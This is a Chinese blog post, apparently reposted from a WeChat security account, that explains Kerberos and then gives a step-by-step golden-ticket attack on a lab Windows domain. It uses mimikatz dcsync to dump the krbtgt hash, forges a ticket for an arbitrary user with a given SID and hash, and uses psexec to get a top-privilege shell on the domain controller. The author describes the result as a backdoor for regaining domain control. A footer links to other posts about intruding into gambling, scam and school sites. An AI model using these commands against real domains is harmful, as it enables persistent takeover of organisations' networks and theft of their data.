域渗透之黄金票据的利用

  • A+
所属分类:安全文章

域渗透之黄金票据的利用

前言:
这里先介绍下Kerberos协议:
Kerberos是一种由MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。

在Kerberos协议中主要是有三个角色的存在:

1:访问服务的Client(用户的机器客户端)

2:提供服务的Server(服务端)

3:KDC(Key Distribution Center)密钥分发中心其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务,远程桌面服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。


0x01 Kerberos工作原理

域渗透之黄金票据的利用

1:Client向KDC发起AS_REQ请求内容为通过Client密码Hash 加密的时间戳、ClientID、网络地址、加密类型等内容。


2:KDC使用Client hash进行解密,并在ntds.dit(只有域控中才有的数据库)中查找该账户,如果结果正确就返回用krbtgt NTLM-hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的组。


注释:PAC的全称是Privilege Attribute Certificate(特权属性证书)。不同的账号有不同的权限,PAC就是为了区别不同权限的一种方式。


3:Client(客户端)凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求。


4:KDC使用krbtgt NTLM-hash进行解密,如果结果正确,就返回用服务NTLM-hash 加密的TGS票据,并带上PAC返回给Client(客户端)(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)。

TGT:认证票据TGS:票据发放服务

5:此时client拿着KDC给的TGS票据去请求服务。

6:服务端使用自己的NTLM-hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。

至此,就是登录域控中Kerberos协议的工作流程,看起来可能点绕,根据我上面的贴图,一步步的看还是比较好理解的。


0x02 实验步骤


主域控:windows server 2008 IP地址:192.168.107.146

域内机器(Client):windows server 2008 IP地址:192.168.107.164


通过上面工作原理得知,我们这里只要伪造第三步,也就是TGT票据即可。

首先我们 需要先从域控中,或者是域内其他Client中导出krbtgt用户的hash,这里需要注意的是,krbtgt用户只有在域控中才会存在。

当然了如果你有域控管理员的其他账号,也是可以登录其他域其他机器来使用mimikatz.exe导出hash的。

域渗透之黄金票据的利用


第一步::在域控内导出krbtgt用户的hash和sid(使用mimikatz.exe工具):

lsadump::dcsync /domain:hydra.com /user:krbtgt   # domian:后面是域控名  user后面是krbtgt用户

域渗透之黄金票据的利用


2:在域内其他Client(用户机器)上使用其他域管理员来抓取krbtgt用户的hash和sid(使用mimikatz.exe工具),这里命令和上面的命令是一样的,最后抓取的hash也是和上面一样的,这里我就不贴图了。

域渗透之黄金票据的利用


第二步:.清除自己Client端(域内其他机器)的票据。

我们在域控上面成功抓取了hash和sid,将hash和sid复制到其他域内机器中,也就是Client端,然后在mimikatz.exe执行kerberos::list查看我们当前的票据。

域渗透之黄金票据的利用

然后在mimikatz.exe执行:kerberos::purge 意思就是清空当前用户登录的票据,通过下面的图片看到清空了以后,在执行list的时候,就没有任何的票据了。

域渗透之黄金票据的利用

第三步:伪造TGT票据(黄金票据)


kerberos::golden /admin:ceshi /domain:hydra.com /sid:S-1-5-21-4188752632-3746001697-3968431413 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /ptt


kerberos::golden的意思是使用票据功能,/admin 后面的用户是我们可以伪造的任意用户,我这里用ceshi,/sid后面输入的就是我们之前抓到的sid,/krbtgt后面是之前抓到的hash, /ptt是立即执行到内存的意思。ps:一共有5个空格,这里需要注意下。

构造好了语句后,在Client端上执行,提示Successfully表示已经成功了。

域渗透之黄金票据的利用

第四步:通过kerberos::list查看当前票据,伪造成功(也可以通过cmd中klist查看,这里需要注意的是cmd需要用管理员的方式运行)

域渗透之黄金票据的利用

域渗透之黄金票据的利用

到了这一步以后,说明我们已经成功在Client端伪造了黄金票据(在伪造的时候可以是任意用户名,我这里是ceshi)。


第五步:在Client端通过Psexec.exe工具来与主域控进行连接(对于psexec.exe工具的使用这里不多做介绍)

连接成功了以后,是直接返回一个cmd的交互式界面,并且是最高权限。

域渗透之黄金票据的利用

此时,我们就可以在当前Client端(域内机器中)来执行主域控下cmd操作,并且权限是最高的。


0x03 总结

第一步:在域控中,或者是域内机器中(域管理员用户权限登录),因为是需要抓取hash和sid的,所以必须要是管理员权限,命令如下:

lsadump::dcsync /domain:hydra.com /user:krbtgt

第二步:清除自己client端(域内其他机器)的票据:

kerberos::purge

第三步:查看票据(client端):(此时票据信息肯定是空的)

kerberos::list

第四步:伪造黄金票据(client端),这里的参数文章上面都介绍过了,这里不多介绍。

kerberos::golden /admin:ceshi /domain:hydra.com  /sid:S-1-5-21-4188752632-3746001697-3968431413 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /ptt 


第五步:尝试使用psexec登录域控的cmd控制台(client端):

psexec.exe \dc.hydra.com cmd.exe

与其说是一种攻击方式,不如说是一种后门,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。

原文链接:https://blog.csdn.net/cj_Allen/article/details/104297452



推荐阅读:



渗透实战系列


【渗透实战系列】24|-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】23|-某菠菜网站渗透实战

【渗透实战系列】22|-渗透系列之打击彩票站

【渗透实战系列】21|一次理财杀猪盘渗透测试案例

【渗透实战系列】20|-渗透直播网站

【渗透实战系列】19|-杀猪盘渗透测试

【渗透实战系列】18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透实战测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙(文末附【渗透实战系列】其他文章链接)

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)


如侵权请私聊公众号删文域渗透之黄金票据的利用

长按-识别-关注

域渗透之黄金票据的利用

Hacking黑白红

一个专注Hacking技术的学习平台

域渗透之黄金票据的利用

点分享

域渗透之黄金票据的利用

点收藏

域渗透之黄金票据的利用

点点赞

域渗透之黄金票据的利用

点在看

本文始发于微信公众号(Hacking黑白红):域渗透之黄金票据的利用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: